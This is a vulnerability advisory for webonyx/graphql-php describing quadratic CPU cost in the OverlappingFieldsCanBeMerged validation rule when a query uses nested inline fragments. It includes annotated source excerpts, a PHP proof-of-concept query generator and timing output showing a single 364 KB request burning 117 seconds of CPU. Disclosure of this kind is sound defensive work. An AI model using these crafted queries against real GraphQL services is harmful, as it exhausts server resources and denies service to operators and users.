webonyx/graphql-php
Affected
- introduced
0, fixed15.32.2(ecosystem)
Fixed versions
15.32.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: None
webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments
Summary
OverlappingFieldsCanBeMerged validation rule has O(n^2 x m^2) worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.
Affected Component
src/Validator/Rules/OverlappingFieldsCanBeMerged.php
Description
graphql-php is a PHP port of graphql-js and inherits the same OverlappingFieldsCanBeMerged algorithm. The rule performs an explicit O(n^2) pairwise comparison loop over fields collected for each response name (collectConflictsWithin), and recurses into sub-selections via findConflict. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to O(n^2 x m^2) where n and m are the number of inline fragments at the outer and inner levels respectively.
graphql-php includes a comparedFragmentPairs PairSet cache (the same class of memoization fix tracked under CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7), but it is keyed by named fragment identity. Inline fragments have no name; they are flattened into the parent $astAndDefs map by the case $selection instanceof InlineFragmentNode branch starting at OverlappingFieldsCanBeMerged.php:266, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.
This finding has been tested against the latest stable release `webonyx/[email protected]` running on PHP 8.3.30.
Root Cause
1. Pairwise O(n^2) loop (collectConflictsWithin)
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);
if ($fieldsLength > 1) {
for ($i = 0; $i < $fieldsLength; ++$i) { // line 311
for ($j = $i + 1; $j < $fieldsLength; ++$j) { // line 312
$conflict = $this->findConflict(
$context,
$parentFieldsAreMutuallyExclusive,
$responseName,
$fields[$i],
$fields[$j]
);
// ...
}
}
}
count($fields) grows without bound when multiple inline fragments select the same response name in the same parent selection set.
2. Inline fragment flattening (internalCollectFieldsAndFragmentNames)
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
$typeCondition = $selection->typeCondition;
$inlineFragmentType = $typeCondition === null
? $parentType
: AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);
$this->internalCollectFieldsAndFragmentNames(
$context,
$inlineFragmentType,
$selection->selectionSet,
$astAndDefs, // flattened into the parent map
$fragmentNames
);
break;
N inline fragments selecting the same response name produce N entries in $astAndDefs[$responseName], which then trigger N*(N-1)/2 findConflict calls.
3. The named-fragment cache does not cover this code path
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;
// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();
PairSet is keyed by (fragmentName1, fragmentName2). Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.
4. No comparison budget, no validation timeout
There is no counter shared across collectConflictsWithin, collectConflictsBetween, and the recursive findConflict calls. The rule runs to completion regardless of cost. graphql-php exposes no validate_timeout equivalent.
Proof of Concept
<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';
use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;
$schema = BuildSchema::build('type Query { field: Node } type Node { f: Node, g: Node, x: String }');
function gen(int $n, int $m): string {
$inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
$outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
return "{ field { $outer } }";
}
echo " N M | size | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
$q = gen($n, $m);
$doc = Parser::parse($q);
$t0 = microtime(true);
$errors = DocumentValidator::validate($schema, $doc);
$elapsed = round((microtime(true) - $t0) * 1000);
printf("%4d %4d | %7dB | %10d | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}
Measured output on webonyx/[email protected], PHP 8.3.30, Linux x86_64
graphql-php version: v15.31.4
PHP version: 8.3.30
N M | size | validate ms | errors
---------|-----------|-------------|--------
20 20 | 7653B | 71 | 0
50 50 | 46113B | 2020 | 0
100 50 | 92213B | 7762 | 0
100 100 | 182213B | 29660 | 0
150 100 | 273313B | 66052 | 0
200 100 | 364413B | 117082 | 0
The growth confirms O(N^2) outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes 117 seconds of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.
Impact
OverlappingFieldsCanBeMerged is part of the rules registered by DocumentValidator::defaultRules() and is enabled by default in DocumentValidator::validate(). Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.QueryComplexity and QueryDepth rules cannot help: the example query has depth 3 and complexity 1.max_execution_time = 30 seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by max_execution_time, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.PairSet cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.High Basis: The source's own band: HIGH
0, fixed 15.32.2 (ecosystem)15.32.2
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0